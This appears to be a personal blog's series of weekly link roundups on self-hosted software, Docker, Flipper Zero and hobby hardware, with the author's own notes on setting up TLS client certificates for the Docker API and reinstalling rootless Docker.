- GitHub: Beast12 / who-rang: “Transform your doorbell into an intelligent visitor identification system with advanced face recognition, multi-provider AI analysis, and comprehensive visitor insights.”
- GitHub: mikejsavage / yougram: “Self-hosted image sharing”
- GitHub: taslabs-net / dasharr: “Consolidates your Plex, Radarr, Sonarr, Tautulli, SABnzbd, and Prowlarr and other services into one beautiful, customizable dashboard.”

w33k in g33k: July 04, 2025

Fri, 04 Jul 2025 17:00:00 -0400

Miscellaneous

Getting Docker API working on a new host:
- Needing the certificate – create the CA first:

openssl genrsa -aes256 -out Docker_API-CA.key.pem 4096
openssl req -new -x509 -days 365 -key Docker_API-CA.key.pem -sha256 -out Docker_API-CA.cert.pem

- Getting a client certificate:

openssl genrsa -out $service-client.key.pem 4096
openssl req -subj '/CN=$service-client' -new -key $service-client.key.pem -out $service-client.csr
echo extendedKeyUsage = clientAuth > extfile-$service-client.cnf
openssl x509 -req -days 365 -sha256 -in $service-client.csr -CA Docker_API-CA.cert.pem -CAkey Docker_API-CA.key.pem \
  -CAcreateserial -out $service-client.cert.pem -extfile extfile-$service-client.cnf

- Running the docker API on :2376 & local socket. If running rootless, this file needs to be edited: "~/.config/systemd/user/docker.service". This will use the new TLS certificate created, run the API on port 2376, AND run the local socket as well.

… Environment=DOCKERD_ROOTLESS_ROOTLESSKIT_FLAGS="-p 0.0.0.0:2376:2376/tcp" ExecStart=/usr/bin/dockerd-rootless.sh
–tlsverify
–tlscacert=/.docker/certs/Docker_API-CA.cert.pem
–tlscert=/.docker/certs/Docker_API-Server-$hostname.cert.pem
–tlskey=~/.docker/certs/Docker_API-Server-$hostname.key.pem
-H unix:///run/user/1000/docker.sock
-H tcp://127.0.0.1:2376 …

Securing Docker API with TLS

Tue, 01 Jul 2025 16:58:00 -0400

Docker API Certificate

I had to setup remote access to the Docker API on one of my hosts & needed to check my notes on exactly what I did to get it setup.
The first step was creating the CA to get the certificate from:
- I probably should have gone with more than 1 year, but will worry about that when it expires & i have no idea what broke.

openssl genrsa -aes256 -out Docker_API-CA.key.pem 4096
openssl req -new -x509 -days 365 -key Docker_API-CA.key.pem -sha256 -out Docker_API-CA.cert.pem

Now to get a client certificate that will be used by one of the services, i.e.: Homepage.

openssl genrsa -out $service-client.key.pem 4096
openssl req -subj '/CN=$service-client' -new -key $service-client.key.pem -out $service-client.csr
echo extendedKeyUsage = clientAuth > extfile-$service-client.cnf
openssl x509 -req -days 365 -sha256 -in $service-client.csr -CA Docker_API-CA.cert.pem -CAkey Docker_API-CA.key.pem \
  -CAcreateserial -out $service-client.cert.pem -extfile extfile-$service-client.cnf

To run the docker API on :2376 & local socket i needed to edit one of the config files.
- If running rootless, this file needs to be edited: “~/.config/systemd/user/docker.service”. This will use the new TLS certificate created, run the API on port 2376, AND run the local socket as well.

… Environment=DOCKERD_ROOTLESS_ROOTLESSKIT_FLAGS="-p 0.0.0.0:2376:2376/tcp" ExecStart=/usr/bin/dockerd-rootless.sh
–tlsverify
–tlscacert=~/.docker/certs/Docker_API-CA.cert.pem
–tlscert=~/.docker/certs/Docker_API-Server-$hostname.cert.pem
–tlskey=~/.docker/certs/Docker_API-Server-$hostname.key.pem
-H unix:///run/user/1000/docker.sock
-H tcp://127.0.0.1:2376 …

w33k in g33k: June 27, 2025

Fri, 27 Jun 2025 17:00:00 -0400

I didn’t post last week (or the week before?) so I’m going to combine a few of the things I had written down.

Flipper

GitHub: beigeworm / BadUSB-Files-For-FlipperZero: “A Collection of Over 60 Scripts - updated specifically for the BadUSB function on the FlipperZero.”

Games

Switch 2 release: I was planning to eventually pick one up, but happen to go to a place that had them in stock over the weekend & bit the bullet & purchased it. Got the bundle so it has Mario Kart World with it.
- GBATemp: How to Mod Your Nintendo Switch 2 (The Ultimate Totally Legit Guide) - Written by ChatGPT
- I’m going to have to see about the virtual game cards… I’m assuming it’s just digital games (which I would try to avoid & get the physical where possible), but will actually have to read up on that a bit more to see if I’m correct.
WCCFTech: 3dSen NES Emulator 1.0 is Now Available, Turns Classic 2D Games Into Playable 3D Voxel Dioramas
- Looked like something fun to try out on NES ROMs.
GitHub: HarbourMasters / SpaghettiKart: Mario Kart!
YouTube: We started porting LEGO Island to… everything?: I remember playing this game when I was younger so I was curious to see what they’re doing with it.
- I will get the Invidious link for this before posting (hopefully)

Miscellaneous

ImmichFrame: “An awesome way to display your photos as a digital photo frame”
- GitHub: immichFrame \ ImmichFrame: ImmichFrame / Install_Client.md: Frameo
Immich Kiosk: “Immich Kiosk is a lightweight slideshow for running on kiosk devices and browsers that uses Immich as a data source.”
Hackaday: What Use Is An Original Raspberry Pi?
- I wanted to take a look & see if there were any ideas I could use for my spare Raspberry Pi’s.
GitHub: alondmnt / joplin-plugin-jarvis
- I am excited to give this a try since it’s exactly what I’ve been hoping to find, to leverage my own build, upgrade, etc notes, & not have to search through everything I have listed. I am planning to have it use my local Ollama install & see what kind of results I get.
Simon Willison’s Weblog: Edit is now open source: I thought it couldn’t hurt to try it out.
- GitHub: microsoft / edit
GitHub: psviderski / uncloud: “A lightweight tool for deploying and managing containerised applications across a network of Docker hosts. Bridging the gap between Docker and Kubernetes ✨”
GitHub: fabriziosalmi / certmate: “SSL Certificate Management System (API + UI)”
- I’m currently using Step CA & certbot, but might look into this.
- Actually… looking this over it appears to be more for public sites & DNS vs. local. My personal SSL certs are all .home, so this might not working for me.
GitHub: ErsatzTV / ErsatzTV: “Stream custom live channels using your own media”
GitHub: Shrikshel / server-tools
- I wanted to see if this would help manage a few different headless servers, but I think it’s more meant to manage an individual server.

Raspberry Pi

Geoff’s Projects: BASIC with WiFi/Internet support for the Pico W and Pico 2 W
- I was looking into this for my ClockworkPi PicoCalc, to see if I could leverage the wireless features of the Raspberry Pi Pico W on my device.
GitHub: raspberrypi / picotool
- While trying to get JBlanked’s Picoware custom firmware loaded to my Pico 2 W, I came across this tool, because I wasn’t having luck jsut dragging & dropping the U2F file to the disk.

Security

HelpNet Security: 35 open-source security tools to power your red team, SOC, and cloud security
GitHub: beigeworm / Powershell-Tools-and-Toys: “50+ Powershell Scripts, Ranging from Pranks to Red-Team Tools”

Watching

/r/selfhosted: OmniTools v0.4.0 - A Swiss army knife of 80+ privacy-first, self-hosted utilities
/r/selfhosted: I hacked our digital frame to get off of Nixplay’s cloud
/r/selfhosted: 🚀 Introducing autoResume: The Free, Open‑Source, Self‑Hosted Resume Generator!
/r/selfhosted: Is there an selfhosted apple health/google fit alternative
/r/selfhosted: Docmost v0.21: zip imports, read/edit mode and more
/r/selfhosted: What are your top Ntfy usecases?
/r/selfhosted: What are your must-have self-hosted tools on your home server that genuinely make your life easier?
/r/selfhosted: What are you using as an alternative to…?
/r/selfhosted: Selfhost pocket-id, fully rootless and distroless and 3x smaller than the original image!
/r/selfhosted: [Release] STD (Service Tracker Dashboard) v0.4.11 — dashboard for Docker containers
/r/selfhosted: Changerawr v1.0.1 Release ( Security Update )
/r/selfhosted: LessEncrypt: A light-weight tool for self-signed CA certificate signing and delivery
/r/selfhosted: What should be its purpose? (Seriously, what should I do with this old raspberry)

w33k in g33k: May 30, 2025

Fri, 30 May 2025 13:00:00 -0400

ClockworkPi PicoCalc

GitHub: huntergdavis / picocalc: “scripts and utilities for picocalc MMBasic shell”
GitHub: cjstoddard / PicoCalc-uf2: “Things I am doing with my PicoCalc.”
GitHub: prstoetzer / PicoCalc: “Code for the ClockWork Pi PicoCalc”
GitHub: mhbvr / picocalc_experiments: “Playing with PicoCalc in the simplified environment”
GitHub: titimoby / picocalc-wiki: “Where to start, what to do, how to… for PicoCalc”
GitHub: EinsPommes /PicoCalc—CalcOS: “🛠️ Calcos – A Hacker’s Firmware for the PicoCalc Calcos turns your ClockworkPi PicoCalc into a stealthy hacking platform.”
GitHub: rhaamo PicoCALC-CALC: “Very hackish firmware to make the PicoCalc actually do calculations”
GitHub: jblanked / Picoware: “Open-source custom firmware for PicoCalc, Video Game Module, and other Raspberry Pi Pico devices”
- ClockworkPi: PicoCalc
- YouTube: A custom firmware for the PicoCalc? This is Picoware #raspberrypi #clockwork #picocalc
- clockworkpi Forum: How to flash a new firmware?

Flipper

GitHub: ADolbyB / flipper-zero-files: “A Collection Of Files From Various Sources Specifically For The Flipper Zero Device (In Progress)”
GitHub: Zarcolio / flipperzero: “This repo contains my own Ducky/BadUSB scripts, related PowerShell scripts and other Flipper Zero related stuff.”

Games

YouTube: Turning Portal 2 into a Web Servero

Hardware

OMG Ubuntu: Flexbar (USB Apple Touch Bar Clone) Now Supports Linux: “If you missed it at the time: Flexbar is a USB-powered peripheral inspired by Apple’s now-discontinued touchscreen strip, but designed as a standalone plug-and-play device that works with any laptop, PC, tablet, or smartphone.”
- Maybe a fun piece of hardware to look into or purchase.
- ENIAC Electronic: Flexbar

Miscellaneous

It’s FOSS: Better Than Man pages? These Tools Help You Understand Linux Commands
It’s FOSS: Guide to Using Plugins in Obsidian
Medium: Enable Swap Memory on Ubuntu on Raspberry Pi
/r/Shortcuts: Redirect from m.youtube.com to invidious.
GitHub: blinkospace / blinko: “An open-source, self-hosted personal AI note tool prioritizing privacy, built using TypeScript .”

Security & Privacy

WCCF Tech: First Case of AI Mimicking a “Terminator-Like” Scenario Surfaces; OpenAI LLMs Changes Computer Code In Order To Prevent Shutdown
Micah Lee: TeleMessage Explorer: a new open source research tool
- GitHub: micahflee / telemessage-explorer
Help Net Security: LlamaFirewall: Open-source framework to detect and mitigate AI centric security risks
- “LlamaFirewall is a system-level security framework for LLM-powered applications, built with a modular design to support layered, adaptive defense. It is designed to mitigate a wide spectrum of AI agent security risks including jailbreaking and indirect prompt injection, goal hijacking, and insecure code outputs.”
GitHub: yaelwrites / Big-Ass-Data-Broker-Opt-Out-List
GitHub: AzimsTech / Android_Hacking: “All things Android | Happy New Year 🎉 2025️⃣”

selfh.st: Self-Host Weekly (30 May 2025)

selfh.st: Optimal Plex Settings for Privacy-Conscious Users
- I think I have saved this multiple times but keep forgetting to actually read through it & make any of the recommended changes (if I haven’t already done so).
GitHub: adityachandelgit/ BookLore: “BookLore is a web app for hosting, managing, and exploring books, with support for PDFs, eBooks, reading progress, metadata, and stats.”
- Looking for something a little simpler than calibre for my books.
GitHub: allaboutduncan / comic-utis: “Stand alone utility to manage, edit, and update digital comic libraries of any size.”
- If I’m looking for something new \ simpler for my books, figured it couldn’t hurt to look at comics too.
GitHub: papra-hq / papra: “The minimalistic document archiving platform.”
- I will eventually get around to trying to set this up again…
Codeberg: readeck / readeck: “Readeck is a simple web application that lets you save the precious readable content of web pages you like and want to keep forever. https://readeck.org/"
- I am pretty happy with Karakeep (formerly Hoarder), but wanted to look at Readeck again. I know I used or tried to use it in the past, but don’t remember many details.
GitHub: wizarrrr / wizarr: “Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby etc.”
- Been meaning to look at some of these for my self-hosted library.
GitHub: maranguapo / BudgetBoss: “A stupid simple budget app!”
- Probably better than spreadsheets =]
GitHub: cfstcyr / docker-switchboard: “Quickly control your Docker containers from a simple web UI”
- Maybe something simpler \ easier than Portainer.
GitHub: patricksthannon / Dockscribe: “CLI tool to pull short descriptions of all currently running docker containers”
- Use with some other utilities to replace Portainer?
GitHub: giacomo-folli / reflectiv: “reflectiv is a web application that allows users to generate personalized monthly reflection diaries in PDF format.”
- I use DailyTxT, but wanted to look at this too.
GitHub: slackspace-io / shoebox: “A digital shoebox for organizing and preserving your videos over a lifetime.”
- Currently using Immich for photo (& video) backups, but wanetd to see how this was.
GitHub: raydak-labs / configarr: “Sync TRaSH Guides + custom configs with Sonarr/Radarr”
- Self hosted library.
GitHub: log-forge / logforge: “Real-time logs, Interactive terminals, Crash alerts/notifications, File system access. All in one UI, for Docker.”
- Help to replace Portainer \ find out when something goes down before I try to use it & see it’s broken.

Command Line Corner

Use find /directory -mtime -1 to quickly locate files modified in the last 24 hours (or any time period of your liking):

$ find /user/test -mtime -1
  selfhost-weekly.txt
  docker-compose.yml

selfh.st: Command Line Corner: “An archive of useful Linux commands shared in Self-Host Weekly”
- I didn’t realize there was a dedicated page for the commands that Ethan Sholly has posted in his weekly updates.

w33k in g33k: May 23, 2025

Fri, 23 May 2025 17:00:00 -0400

Sean’s Finds

Linuxiac: How to Set up Caddy as a Reverse Proxy
- Thinking of looking at Caddy again, to see if I want to replace my current nginx + Step-CA + certbot process.
InfoSec.pub: List of Fan (OpenSource) Ports/Remakes of Games
- Who doesn’t love ports \ remakes of older games.
EFF: Cover Your Tracks
- Just curious to see what comes back.
InfoSec.Pub: You can now use authenticator apps to keep your GOG account secure!
- I would always rather have TOTP over emailed or SMS 2FA, so this is a nice update for GOG.
InfoSec.Pub: What’s up, selfhosters? It’s selfhosting Sunday again!
- Just thought I would review this & see if there are any interesting projects to look into.
InfoSec.Pub: Edit is now open source
- Microsoft | Dev Blogs: Edit is now open source
- Obviously Microsoft’s reputation with open source \ Linux isn’t great, but was just curious about the text editor.
GitHub: adityachandelgit / BookLore: “BookLore is a web app for hosting, managing, and exploring books, with support for PDFs, eBooks, reading progress, metadata, and stats.”
- Looking for something easier \ more straightforward than Calibre or Calibre-web.
GitHub: owlistic-notes / owlistic: “🦉 Free open-source notetaking app with real-time sync 🔄⚡️🚀”
- I don’t know why Note apps are always something I like to look into & try.
GitHub: veritas06 / SimpleJournal
- Since I’m so obsessed with Note apps… I can’t really take credit for any of this because I’ve been using ChatGPT for help with the code, but I thought this could be a fun way to try & learn some iOS development.
GitHub: Freika / dawarich: “Self-hostable alternative to Google Location History (Google Maps Timeline)”
GitHub: HackTricks-wiki / hacktricks: “Welcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.”
GitHub: RsaCtfTool / RsaCtfTool: “RSA attack tool (mainly for ctf) - retrieve private key from weak public key and/or uncipher data”
- Just thought it was something to note for the next time I have a chance to do any CTF’s.
GitHub: badboysm890 / ClaraVerse: “Clara — Privacy-first, fully local AI workspace with Ollama LLM chat, tool calling, agent builder, Stable Diffusion, and embedded n8n-style automation. No backend. No API keys. Just your stack, your machine.”
- Running Ollama right now, but maybe this would be something to try. GitHub: [xtool-org] (https://github.com/xtool-org/)/ xtool: “Cross-platform Xcode replacement. Build and deploy iOS apps with SwiftPM on Linux, Windows, macOS.”
- Currently using XCode on macOS, but curious to see how this would run on non-macOS.
rabbit.tech: How to get developer mode on rabbit r1
- I haven’t used mine in ages, but thought it was interesting that they now allow this.
- Not that it appears to be all that popular though…: developers & moding zone
TRMNL
- Gizmodo: Forget Tablets, This Hackable E-Ink Display Runs for Months and Syncs With 100+ Apps, Now Available to Order
Engadget: Mozilla is shutting down its read-it-later app Pocket
- I was using this a few years ago, until I decided I didn’t want a service to have all my saved articles just for privacy, but also to not worry about the service being shutdown.
- I moved to just using a spreadsheet which wasn’t very smooth, then tried Linkwarden & Karakeep (formerly Hoarder), & settled on Karakeep. I didn’t realize Linkwarden was more of a bookmark-manager than a read-it-later service.
docker compose \ Portainer \ Docker daemon issues…
- Only recently I’ve been running into some problems with rootless Docker where containers do seem to be running, except if I try to do anything via CLI on the server. I’m using Portainer (so maybe time for a change?) to manage containers & stacks a little easier, but when trying to run something like docker compose up -d --remove-orphans, I just receive an error about the connection: “Cannot connect to the Docker daemon at unix:///run/user/1000/docker.sock. Is the docker daemon running?”
- While typing this up & trying to give it one more shot, i might have gotten it working again. Short version is that it looks like it was because while trying to get the daemon setup to be accessed remotely (via client certificates), it was no longer listening on the local socket. I just edited the ~/.config/systemd/user/docker.service file to run on both the TCP port & local socket. Then things seem to be working again… 🤞🏻

selfh.st: Self-Host Weekly (23 May 2025)

GitHub: immich-app / immich: v1.133.0 - The Hot Summer Release
- “New database vector extension”: Need to make a few changes to the docker-compose file that are listed in the release details.
GitHub: operacle / checkcle: “CheckCle is a self-hosted open-source alternative to UptimeRobot, PagerDuty, Better Stack, and more — offering real-time server & service uptime monitoring, incident, multi-channel alerting.”
- I don’t really run any monitoring apps or containers, so maybe this is something I will look into.
GitHub: intri-in / manage-my-damn-life-nextjs: “Manage My Damn Life (MMDL) is a self-hosted front end for managing your CalDAV tasks and calendars.”
- Probably overkill for the bit i use Nextcloud Calendar & Tasks, but maybe something fun to just try out.
GitHub: sissbruecker / linkding: “Self-hosted bookmark manager that is designed be to be minimal, fast, and easy to set up using Docker.”
- I don’t know if i really need a bookmark manager vs. only a “read-it-later” app, but maybe something to look into.
GitHub: novuhq / novu: “The open-source notification Inbox infrastructure. E-mail, SMS, Push and Slack Integrations.”
- Not using ntfy too much, so maybe something to change over to.
GitHub: Efeckc17 / GoSync: “A secure file backup and synchronization application that uses SSH for remote file transfers. Features encrypted storage of credentials, automatic sync, and a modern UI. Built with Python and Qt.”
- Right now I’m kind of doing backups via Syncthing (just backing up config files & critical content, alot i would be okay losing), so maybe something a little more robust would be better.
GitHub: profullstack / mcp-server: “A generic, modular server for implementing the Model Control Protocol (MCP).”
- I’m still trying to see how i can leverage AI locally to help with general day-to-day things & maybe optimize or refine some things in my homelab.
OpenAlternative: Open Source Pocket Alternatives
- Since Firefox is shutting down Pocket, just curious to see what other recomendations there are. I’m already using Karakeep (formerly Hoarder), but open to try new things.
GitHub: blinkospace / blinko: “An open-source, self-hosted personal AI note tool prioritizing privacy, built using TypeScript .”
- I’m always jumping between different note apps based on purposes, so seeing if this would contribute at all. I use DailyTxt, Joplin, Logseq, Obsidian for different tasks, so maybe blinko can be integrated or replace something I’m currently using.
YouTube: Lawrence Systems: How I Use Syncthing for Real Time Backups

CLI Notes

A section for commands I might have used or found useful this week.
Don’t judge… I’m more used to for loops in PowerShell, so I did have to double check how to do it in bash… will certainly make things easier for certain tasks going forward:

for x in $(ls); do sha256sum $x; done

w33k in g33k: May 16, 2025

Fri, 16 May 2025 17:00:00 -0400

Miscellaneous

I finally got TLS certificates working with the Docker API: Docker Docs: Use TLS (HTTPS) to protect the Docker daemon socket
- I just went with a separate CA from my SSL certificates instead of trying to get it working with Step-CA.

# Client Key:
openssl genrsa -out Homepage-client.key.pem 4096
openssl req -subj '/CN=Homepage-client' -new -key Homepage-client.key.pem -out Homepage-client.csr
echo extendedKeyUsage = clientAuth > extfile-Homepage-client.cnf
openssl x509 -req -days 365 -sha256 -in Homepage-client.csr -CA Docker_API-CA.pem -CAkey Docker_API-CA.key.pem \
  -CAcreateserial -out Homepage-client.cert.pem -extfile extfile-Homepage-client.cnf

- I had to “reinstall” Docker on my rootless hosts for an unknown reason, but did finally get those working again:

/usr/bin/dockerd-rootless-setuptool.sh uninstall -f ; /usr/bin/rootlesskit rm -rf /home/smc/.local/share/docker
/usr/bin/rootlesskit rm -rf /home/smc/.local/share/docker
sudo apt-get purge docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
autoremove; autoclean
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done
# Add Docker's official GPG key:
sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo systemctl disable --now docker.service docker.socket
sudo rm /var/run/docker.sock
dockerd-rootless-setuptool.sh install

selfh.st

selfh.st: Self-Host Weekly (16 May 2025)
- GitHub: glanceapp / glance: “A self-hosted dashboard that puts all your feeds in one place”
- GitHub: papra-hq / papra: “The minimalistic document archiving platform.”
- GitHub: gelbphoenix / autocaliweb: “📚 Web managing platform for eBooks, eComics and PDFs”
- GitHub: sinandredemption / kath: “Kath is a lightweight, retro-style, ephemeral chat app with a small twist: you can see what the other people in the room are typing in real-time.”
- GitHub: murtaza-nasir / maestro: “MAESTRO is an AI-powered research application designed to streamline complex research tasks.”
- GitHub: openconstruct / Peersuite: “Peer to peer workspace”
- GitHub: blinkospace / blinko: “An open-source, self-hosted personal AI note tool prioritizing privacy, built using TypeScript .”
- GitHub: dhop90 / homelab: “How I document my homelab”
- GitHub: glanceapp / glance: “A self-hosted dashboard that puts all your feeds in one place”

w33k in g33k: May 09, 2025

Fri, 09 May 2025 17:00:00 -0400

Sean’s Notes:

Hack a Day: Rayhunter Sniffs Out Stingrays For $30
- I’ve been meaning to test this out, especially since it would be a cheap project. A coworker of mine set one up as well, & I believe there is still an open question on whether a SIM card is actually needed or not for use.
CSO Online: Company behind modified Signal app used by Mike Walz allegedly hacked
- Stupid people doing stupid things…
- 404 Media: The Signal Clone the Trump Admin Uses Was Hacked
- Micah F. Lee: TM SGNL, the obscure unofficial Signal app Mike Waltz uses to text with Trump officials
GitHub: ofkm / arcane: “Simple and Elegant Docker Management UI written in Typescript and SvelteKit”
- Kind of looking to replace Portainer, but not for any particular reason.
- Someone in the post said it best… “I am sticking with what I am used to until the dust settles. I like where this is going though.”
/r/SelfHosted: Guide to Host Jellyfin for People Coming from Plex

selfh.st: Self-Host Weekly (9 May 2025)

selfh.st: Custom Colors Are Now Available For selfh.st/icons
GitHub: ofkm / arcane: “Simple and Elegant Docker Management UI written in Typescript and SvelteKit”
GitHub: rippleFCL / bws-cache: “Bitwarden Secrets Manager cache server”
GitHub: jeremehancock / Glimpse: “Plex Media Viewer”
GitHub: binary-knight / logwhisperer: “LogWhisperer is a self-hosted, AI-powered log summarization tool for Linux servers.”

w33k in g33k: May 02, 2025

Fri, 02 May 2025 17:00:00 -0400

Week Ending May 02, 2025

selfh.st: Self-Host Weekly (2 May 2025)

Crowd Supply: Fusion Chime Vision: “An ESP32-based, open-source doorbell system designed to integrate into existing smarthome setups”
- Maybe something to take a look at to not use a video doorbell from one of the bigger companies.
GitHub: crocofied / CoreControl: “Dashboard to manage your entire server infrastructure”
- If selfh.st mentioned this last week, then I might have already looked into it.
GitHub: plexguid / Huntarr.io: “A specialized utility that automates discovering missing and upgrading your media collection!”
- Haven’t touched my *arr stack in a while, so might look into this & see if i want to add it.
GitHub: karakeep-app / karakeep: “A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search”
- Setting up Ollama + DeepSeek for the AI part of this.
GitHub: moghtech / komodo: “🦎 a tool to build and deploy software on many servers 🦎”
- I tried this for a bit, but didn’t really get into it to see if I want to replace Portainer.
GitHub: icereed / paperless-gpt: “Use LLMs and LLM Vision (OCR) to handle paperless-ngx - Document Digitalization powered by AI”
- Still haven’t decided if I “need” something like this, but I know there was another simple one i was trying to get working last week. I’ll have to give it another shot.
GitHub: ellite / Wallos: “Wallos: Open-Source Personal Subscription Tracker”
- I set this up, but then didn’t realize use it that much. Might be another one that i come back to, just to play with for a bit.
GitHub: xpipe-io / xpipe: “Access your entire server infrastructure from your local desktop”
- I can’t remember if i did try this & found something i wasn’t a fan of

My Projects

Moving from Grav to Hugo

CirrusTech: How to convert Grav markdown content to Hugo using powershell
Obsidian Forum: My Obsidian + Hugo blogging setup
- 4rkal’s Dev Blog: My Obsidian + Hugo blogging setup
Robin Hu - Programming and Photography: Hugo: Things I’ve learned so far
Hugo Theme: Terminal.css
GitHub: theNewDynamic \ awesome-hugo: “A curated list of awesome things related to Hugo, The world’s fastest framework for building websites.”
phoenixNAP: rsync Command in Linux: Syntax, Options, Examples
- Needing this as I work on how I want to post or sync from the local “repository” to my site. I figured i would start with rsync while I try to get something like Obsidian working.

Miscellaneous Finds:

GitHub: iiab / iiab: “Internet-in-a-Box - Build your own LIBRARY OF ALEXANDRIA with a Raspberry Pi !”
GitHub: hacksider \ Deep-Live-Cam: “real time face swap and one-click video deepfake with only a single image”
GitHub: Zelda64Recomp / Zelda64Recomp
Medium: Risan Bagja: Upgrade Your SSH Key to Ed25519

w33k in g33k: April 18, 2025

Fri, 25 Apr 2025 17:00:00 -0400

Week Ending April 18, 2025

Projects:

/r/nginxproxymanager: ModSecurity WAF End-of-Life and Alternative Solution
- GitHub: openappsec / openappsec
- open-appsec: How to switch to a ModSecurity WAF alternative before it is EOL in March 2024?
selfh.st: Optimal Plex Settings for Privacy-Conscious Users
Akash Rajpurohit: SearXNG — Privacy-focused metasearch engine for your homelab
Mac App Store: PocketServer: Local Server
GitHub: Oak-and-Sprout / sprout-track: “A tracker to track baby diapers, feedings, naps, pumping, and other activities. "
GitHub: crocofied / CoreControl: “Dashboard to manage your entire server infrastructure”
- CoreControl

Flipper Zero

GitHub: jblanked
- GitHub: FlipperHTTP
  - GitHub: jblanked / FlipperHTTP: WiFi Developer Board (ESP32S2)
- GitHub: FlipWiFi: “FlipperHTTP companion app. Scan and save WiFi networks on your Flipper Zero.”
- GitHub: FlipWorld: “Flipper Zero Open World Multiplayer game, best played with the VGM.”
- GitHub: flipper-application-catalog: “Flipper Application Catalog”
- GitHub: FlipDownloader: “Download apps and assets directly to your Flipper Zero using WiFi.”
- GitHub: FlipSocial: “Social media platform for the Flipper Zero.”
- GitHub: WebCrawler-FlipperZero: “Browse the web, fetch API data, and more on your Flipper Zero.”
- GitHub: FlipRPI: “Use your Flipper Zero to control your Raspberry Pi.”
- GitHub: FlipLibrary: “A Flipper Zero app with a dictionary, random facts, and more.”
- GitHub: FlipWeather: “Use WiFi to get GPS and Weather information on your Flipper Zero.”
- GitHub: FlipTrader: “Use WiFi to get the price of stocks and currency pairs on your Flipper Zero.”
GitHub: o7-machinehum / flipper-blackhat-os
- Hackster.io: Ryan Walker’s Flipper Blackhat Is a Powerful Quad-Core Linux-Based Wi-Fi Add-On for the Flipper Zero

w33k in g33k: April 25, 2025

Fri, 25 Apr 2025 17:00:00 -0400

Week Ending April 25, 2025

selfh.st: Self-Host Weekly (25 April 2025)

GitHub: Caddy
- Maybe I’ll try this out again? Right now I am just doing nginx + Step CA & that does seem to be working fine for me.
GitHub: clemcer /loggifly: “Monitor Docker Logs & send Notifications”
- This would be helpful for when certain containers (i.e.: my internal CA) go down.
GitHub: donaldzou / WGDashboard: “Simple dashboard for WireGuard VPN written in Python & Vue.js”

w33k in g33k: April 04, 2025

Fri, 04 Apr 2025 15:59:00 -0400

w33k in g33k: April 04, 2025

selfh.st: This Week in Self-Hosted (4 April 2025)

Glad I’m following these updates because I did not know LunaSea was shut down. The three apps Ethan mentions as possible replacements are:
- nzb360 (Android)
- Astrysk (iOS)
- Ruddar (iOS)
Github: PhiTux: DailyTxT: I may have already mentioned this last week (or did i forget to post last week…?), but I was excited to see that there is a “2.0” version of DailyTxT coming. Not that there’s anything wrong with the current version (it does exactly what it says & has worked flawlessly for me for at least a year now), but always happy to see updates to services I use =].
Home Assistant: I just moved, so i will be looking into getting Home Assistant setup when i get a chance. I used it in the past, but never got too deep into it, so now will be a fun time for me to try & get the most i can out of it.
GitHub: mag37 / dockcheck: “CLI tool to automate docker image updates. Selective, notifications, autoprune, no pre-pulling. "
- Watchtower has typically been my go-to for image updates, but it can’t hurt to keep an eye out for any replacements.
GitHub: louislam / dockge: “A fancy, easy-to-use and reactive self-hosted docker compose.yaml stack-oriented manager”
- I am currently using Portainer, but like DockCheck \ Portainer, always happy to find new things to play with.
- I believe i did look into this at one point, but don’t recall why I didn’t stick with it over Portainer.
GitHub: mudler / LocalAI: “The free, Open Source alternative to OpenAI, Claude and others. Self-hosted and local-first. Drop-in replacement for OpenAI, running on consumer-grade hardware. No GPU required. Runs gguf, transformers, diffusers and many more models architectures. Features: Generate Text, Audio, Video, Images, Voice Cloning, Distributed, P2P inference”
- Since my experience with running LLM on a RasPi5 with AI HAT+ wasn’t going as I hoped (read: I didn’t look into the HAT enough to see that it isn’t meant for LLM), I might look into this instead.
GitHub: monetr / monetr: “monetr is a budgeting application focused on planning for recurring expenses.”
GitHub: jokob-sk / NetAlertX: “Network intruder and presence detector. Scans for devices connected to your network and alerts you if new and unknown devices are found.”
- I have\had been running this for a while, but haven’t kept on top of it. Especially with setting up a new Pi-Hole instance & local network, I probably have to get this updated as well. I will likely just wipe what I have & start clean.
GitHub: iib0011 / omni-tools: “Self-hosted collection of powerful web-based tools for everyday tasks. No ads, no tracking, just fast, accessible utilities right from your browser!”
- Because, “why not?” (r) 😀
GitHub: [open-webui](- https://github.com/open-webui) / open-webui: “User-friendly AI Interface (Supports Ollama, OpenAI API, …)”
- This is what I was getting setup on my RasPi5 + AI HAT+, but probably won’t keep it running because of the performance.
GitHub: ajnart / dcm: “DockerComposeMaker (DCM) is a self-hostable website to help you pick and create a docker-compose.yml file for your home server. Discover new containers, discover and share a config in a couple of clicks!”
- Most of the containers I’m going to run have the Docker compose files already, but still thought this was worth noting down & taking a look at.
GitHub: ArnaudCrl / immich-automated-selfie-timelapse
- Just looked like a fun project.
GitHub: kyantech / Palmr: “Palmr. is an open-source file-sharing platform focused on privacy and security. It enables users to upload, manage, and share files with features like password protection, custom links, and access control without tracking or limitations. Designed for seamless and secure sharing, Palmr. is completely free.”
GitHub: SolarSistim / Quickdash: “Quickdash is a simple Angular/JSON powered self-hosted start page.”
- I seem to have a wandering eye for home\start pages, dashboards, etc. I’m currently running homepage.
GitHub: thiago4int / resume-ai: “This project is an AI-powered resume generator designed to take unstructured profile information and job descriptions as input, then generate ATS-friendly, structured resumes using Ollama + Gemma 3B/1B.”
- I was curious since we were hiring recently.
